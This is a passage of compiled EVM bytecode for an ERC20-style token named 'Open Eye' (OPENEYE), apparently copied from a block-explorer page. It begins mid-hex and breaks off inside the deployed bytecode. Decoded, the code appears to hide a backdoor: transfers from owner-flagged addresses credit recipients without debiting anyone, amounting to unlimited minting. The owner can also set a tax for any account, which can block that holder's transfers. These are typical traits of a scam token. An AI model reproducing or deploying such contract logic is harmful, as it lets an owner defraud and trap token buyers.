ffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a1e6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa49061209e565b60405180910390fd5b610ab76000611ab4565b565b610ac16111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b479061209e565b60405180910390fd5b6000811015610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906120be565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060038054610beb906123e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610c17906123e3565b8015610c645780601f10610c3957610100808354040283529160200191610c64565b820191906000526020600020905b815481529060010190602001808311610c4757829003601f168201915b5050505050905090565b6000610c786111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfe9061209e565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610d666111b1565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e229061219e565b60405180910390fd5b610e3882868684036111b9565b60019250505092915050565b600080610e4f6111b1565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610f0a5782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef99190612210565b925050819055506001915050610f1b565b610f1581858561140f565b60019150505b92915050565b600090565b610f2e6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb49061209e565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a66111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c9061209e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c9061211e565b60405180910390fd5b6111ae81611ab4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112209061217e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611299576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611290906120de565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161137691906121be565b60405180910390a3505050565b600061138f8484611018565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140957818110156113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f2906120fe565b60405180910390fd5b61140884848484036111b9565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114769061215e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e69061207e565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d9061213e565b60405180910390fd5b6000600190506115868585611b7a565b1561159057600090505b6000811561175d5760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561164b5760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156116a75760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561173357600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611759606461174b8388611c2590919063ffffffff16565b611c3b90919063ffffffff16565b9150505b60008111156118fc576117b881600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184f816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6790919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118f391906121be565b60405180910390a35b611959818561190b91906122f1565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f981856119ab91906122f1565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a9791906122f1565b604051611aa491906121be565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1d5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c339190612297565b905092915050565b60008183611c499190612266565b905092915050565b60008183611c5f91906122f1565b905092915050565b60008183611c759190612210565b905092915050565b600081359050611c8c81612782565b92915050565b600081359050611ca181612799565b92915050565b600081359050611cb6816127b0565b92915050565b600060208284031215611cd257611cd16124a2565b5b6000611ce084828501611c7d565b91505092915050565b60008060408385031215611d0057611cff6124a2565b5b6000611d0e85828601611c7d565b9250506020611d1f85828601611c7d565b9150509250929050565b600080600060608486031215611d4257611d416124a2565b5b6000611d5086828701611c7d565b9350506020611d6186828701611c7d565b9250506040611d7286828701611ca7565b9150509250925092565b60008060408385031215611d9357611d926124a2565b5b6000611da185828601611c7d565b9250506020611db285828601611c92565b9150509250929050565b60008060408385031215611dd357611dd26124a2565b5b6000611de185828601611c7d565b9250506020611df285828601611ca7565b9150509250929050565b600060208284031215611e1257611e116124a2565b5b6000611e2084828501611ca7565b91505092915050565b611e3281612325565b82525050565b611e4181612337565b82525050565b611e508161237a565b82525050565b6000611e61826121f4565b611e6b81856121ff565b9350611e7b8185602086016123b0565b611e84816124a7565b840191505092915050565b6000611e9c6023836121ff565b9150611ea7826124b8565b604082019050919050565b6000611ebf6020836121ff565b9150611eca82612507565b602082019050919050565b6000611ee2602e836121ff565b9150611eed82612530565b604082019050919050565b6000611f056022836121ff565b9150611f108261257f565b604082019050919050565b6000611f28601d836121ff565b9150611f33826125ce565b602082019050919050565b6000611f4b6026836121ff565b9150611f56826125f7565b604082019050919050565b6000611f6e6026836121ff565b9150611f7982612646565b604082019050919050565b6000611f916025836121ff565b9150611f9c82612695565b604082019050919050565b6000611fb46024836121ff565b9150611fbf826126e4565b604082019050919050565b6000611fd76025836121ff565b9150611fe282612733565b604082019050919050565b611ff681612363565b82525050565b6120058161236d565b82525050565b60006020820190506120206000830184611e29565b92915050565b600060208201905061203b6000830184611e38565b92915050565b60006020820190506120566000830184611e47565b92915050565b600060208201905081810360008301526120768184611e56565b905092915050565b6000602082019050818103600083015261209781611e8f565b9050919050565b600060208201905081810360008301526120b781611eb2565b9050919050565b600060208201905081810360008301526120d781611ed5565b9050919050565b600060208201905081810360008301526120f781611ef8565b9050919050565b6000602082019050818103600083015261211781611f1b565b9050919050565b6000602082019050818103600083015261213781611f3e565b9050919050565b6000602082019050818103600083015261215781611f61565b9050919050565b6000602082019050818103600083015261217781611f84565b9050919050565b6000602082019050818103600083015261219781611fa7565b9050919050565b600060208201905081810360008301526121b781611fca565b9050919050565b60006020820190506121d36000830184611fed565b92915050565b60006020820190506121ee6000830184611ffc565b92915050565b600081519050919050565b600082825260208201905092915050565b600061221b82612363565b915061222683612363565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561225b5761225a612415565b5b828201905092915050565b600061227182612363565b915061227c83612363565b92508261228c5761228b612444565b5b828204905092915050565b60006122a282612363565b91506122ad83612363565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156122e6576122e5612415565b5b828202905092915050565b60006122fc82612363565b915061230783612363565b92508282101561231a57612319612415565b5b828203905092915050565b600061233082612343565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006123858261238c565b9050919050565b60006123978261239e565b9050919050565b60006123a982612343565b9050919050565b60005b838110156123ce5780820151818401526020810190506123b3565b838111156123dd576000848401525b50505050565b600060028204905060018216806123fb57607f821691505b6020821081141561240f5761240e612473565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865204f776e6572600082015250565b7f4163636f756e7420746178206d7573742062652067726561746572207468616e60008201527f206f7220657175616c20746f2031000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b7f4f776e61626c653a206e6577204f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220416d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61278b81612325565b811461279657600080fd5b50565b6127a281612337565b81146127ad57600080fd5b50565b6127b981612363565b81146127c457600080fd5b5056fea2646970667358221220bd13a94402ce46ffcf19fd727f39c2aef068f6e7a027d05dd2816752152f6c5564736f6c63430008070033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a00000000000000000000000000000000000000000000000000000000005f5e10000000000000000000000000000000000000000000000000000000000000000084f70656e2045796500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074f50454e45594500000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b506004361061014d5760003560e01c80636c9992b3116100c3578063a457c2d71161007c578063a457c2d7146103b4578063a9059cbb146103e4578063b4a99a4e14610414578063b4c60b4514610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b80636c9992b3146102e057806370a0823114610310578063715018a61461034057806390ec57f11461034a57806395d89b411461036657806399a2f61f146103845761014d565b80632c91d071116101155780632c91d0711461020c578063313ce5671461022857806339509351146102465780633ac0594a1461027657806349bd5a5e146102925780635dd7c8ac146102b05761014d565b806306fdde0314610152578063095ea7b3146101705780631694505e146101a057806318160ddd146101be57806323b872dd146101dc575b600080fd5b61015a61049a565b604051610167919061205c565b60405180910390f35b61018a60048036038101906101859190611dbc565b61052c565b6040516101979190612026565b60405180910390f35b6101a861054f565b6040516101b59190612041565b60405180910390f35b6101c6610573565b6040516101d391906121be565b60405180910390f35b6101f660048036038101906101f19190611d29565b61057d565b6040516102039190612026565b60405180910390f35b61022660048036038101906102219190611cbc565b6105ac565b005b610230610687565b60405161023d91906121d9565b60405180910390f35b610260600480360381019061025b9190611dbc565b610690565b60405161026d9190612026565b60405180910390f35b610290600480360381019061028b9190611dfc565b610739565b005b61029a6107da565b6040516102a7919061200b565b60405180910390f35b6102ca60048036038101906102c59190611cbc565b610800565b6040516102d791906121be565b60405180910390f35b6102fa60048036038101906102f59190611cbc565b6108e0565b6040516103079190612026565b60405180910390f35b61032a60048036038101906103259190611cbc565b6109cd565b60405161033791906121be565b60405180910390f35b610348610a16565b005b610364600480360381019061035f9190611dbc565b610ab9565b005b61036e610bdc565b60405161037b919061205c565b60405180910390f35b61039e60048036038101906103999190611cbc565b610c6e565b6040516103ab9190612026565b60405180910390f35b6103ce60048036038101906103c99190611dbc565b610d5b565b6040516103db9190612026565b60405180910390f35b6103fe60048036038101906103f99190611dbc565b610e44565b60405161040b9190612026565b60405180910390f35b61041c610f21565b604051610429919061200b565b60405180910390f35b61044c60048036038101906104479190611d7c565b610f26565b005b61046860048036038101906104639190611ce9565b611018565b60405161047591906121be565b60405180910390f35b61049860048036038101906104939190611cbc565b61109e565b005b6060600280546104a9906123e3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906123e3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111b1565b90506105448185856111b9565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600154905090565b6000806105886111b1565b9050610595858285611383565b6105a085858561140f565b60019150509392505050565b6105b46111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610643576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063a9061209e565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061069b6111b1565b905061072e8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107299190612210565b6111b9565b600191505092915050565b6107416111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c79061209e565b60405180910390fd5b8060088190555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600061080a6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108909061209e565b60405180910390fd5b600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60006108ea6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610979576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109709061209e565b60405180910390fd5b600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a1e6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aad576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa49061209e565b60405180910390fd5b610ab76000611ab4565b565b610ac16111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b479061209e565b60405180910390fd5b6000811015610b94576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8b906120be565b60405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b606060038054610beb906123e3565b80601f0160208091040260200160405190810160405280929190818152602001828054610c17906123e3565b8015610c645780601f10610c3957610100808354040283529160200191610c64565b820191906000526020600020905b815481529060010190602001808311610c4757829003601f168201915b5050505050905090565b6000610c786111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cfe9061209e565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080610d666111b1565b905060008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905083811015610e2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e229061219e565b60405180910390fd5b610e3882868684036111b9565b60019250505092915050565b600080610e4f6111b1565b905060011515600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610f0a5782600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef99190612210565b925050819055506001915050610f1b565b610f1581858561140f565b60019150505b92915050565b600090565b610f2e6111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb49061209e565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110a66111b1565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611135576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112c9061209e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161119c9061211e565b60405180910390fd5b6111ae81611ab4565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611229576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112209061217e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611299576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611290906120de565b60405180910390fd5b806000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161137691906121be565b60405180910390a3505050565b600061138f8484611018565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff811461140957818110156113fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f2906120fe565b60405180910390fd5b61140884848484036111b9565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561147f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114769061215e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156114ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e69061207e565b60405180910390fd5b6000600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156d9061213e565b60405180910390fd5b6000600190506115868585611b7a565b1561159057600090505b6000811561175d5760008073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116a857600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561164b5760085490505b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff1614156116a75760095490505b5b6000600b60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054111561173357600b60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b611759606461174b8388611c2590919063ffffffff16565b611c3b90919063ffffffff16565b9150505b60008111156118fc576117b881600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061184f816005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6790919063ffffffff16565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516118f391906121be565b60405180910390a35b611959818561190b91906122f1565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c5190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119f981856119ab91906122f1565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c6790919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8387611a9791906122f1565b604051611aa491906121be565b60405180910390a3505050505050565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c1d5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b905092915050565b60008183611c339190612297565b905092915050565b60008183611c499190612266565b905092915050565b60008183611c5f91906122f1565b905092915050565b60008183611c759190612210565b905092915050565b600081359050611c8c81612782565b92915050565b600081359050611ca181612799565b92915050565b600081359050611cb6816127b0565b92915050565b600060208284031215611cd257611cd16124a2565b5b6000611ce084828501611c7d565b91505092915050565b60008060408385031215611d0057611cff6124a2565b5b6000611d0e85828601611c7d565b9250506020611d1f85828601611c7d565b9150509250929050565b600080600060608486031215611d4257611d416124a2565b5b6000611d5086828701611c7d565b9350506020611d6186828701611c7d565b9250506040611d7286828701611ca7565b9150509250925092565b60008060408385031215611d9357611d926124a2565b5b6000611da185828601611c7d565b9250506020611db285828601611c92565b9150509250929050565b60008060408385031215611dd357611dd26124a2565b5b6000611de185828601611c7d565b9250506020611df285828601611ca7565b9150509250929050565b600060208284031215611e1257611e116124a2565b5b6000611e2084828501611ca7565b91505092915050565b611e3281612325565b82525050565b611e4181612337565b82525050565b611e508161237a565b82525050565b6000611e61826121f4565b611e6b81856121ff565b9350611e7b8185602086016123b0565b611e84816124a7565b840191505092915050565b6000611e9c6023836121ff565b9150611ea7826124b8565b604082019050919050565b6000611ebf6020836121ff565b9150611eca82612507565b602082019050919050565b6000611ee2602e836121ff565b9150611eed82612530565b604082019050919050565b6000611f056022836121ff565b9150611f108261257f565b604082019050919050565b6000611f28601d836121ff565b9150611f33826125ce565b602082019050919050565b6000611f4b6026836121ff565b9150611f56826125f7565b604082019050919050565b6000611f6e6026836121ff565b9150611f7982612646565b604082019050919050565b6000611f916025836121ff565b9150611f9c82612695565b604082019050919050565b6000611fb46024836121ff565b9150611fbf826126e4565b604082019050919050565b6000611fd76025836121ff565b9150611fe282612733565b604082019050919050565b611ff681612363565b82525050565b6120058161236d565b82525050565b60006020820190506120206000830184611e29565b92915050565b600060208201905061203b6000830184611e38565b92915050565b60006020820190506120566000830184611e47565b92915050565b600060208201905081810360008301526120768184611e56565b905092915050565b6000602082019050818103600083015261209781611e8f565b9050919050565b600060208201905081810360008301526120b781611eb2565b9050919050565b600060208201905081810360008301526120d781611ed5565b9050919050565b600060208201905081810360008301526120f781611ef8565b9050919050565b6000602082019050818103600083015261211781611f1b565b9050919050565b6000602082019050818103600083015261213781611f3e565b9050919050565b6000602082019050818103600083015261215781611f61565b9050919050565b6000602082019050818103600083015261217781611f84565b9050919050565b6000602082019050818103600083015261219781611fa7565b9050919050565b600060208201905081810360008301526121b781611fca565b9050919050565b60006020820190506121d36000830184611fed565b92915050565b60006020820190506121ee6000830184611ffc565b92915050565b600081519050919050565b600082825260208201905092915050565b600061221b82612363565b915061222683612363565b9250827ffffffffffffffffff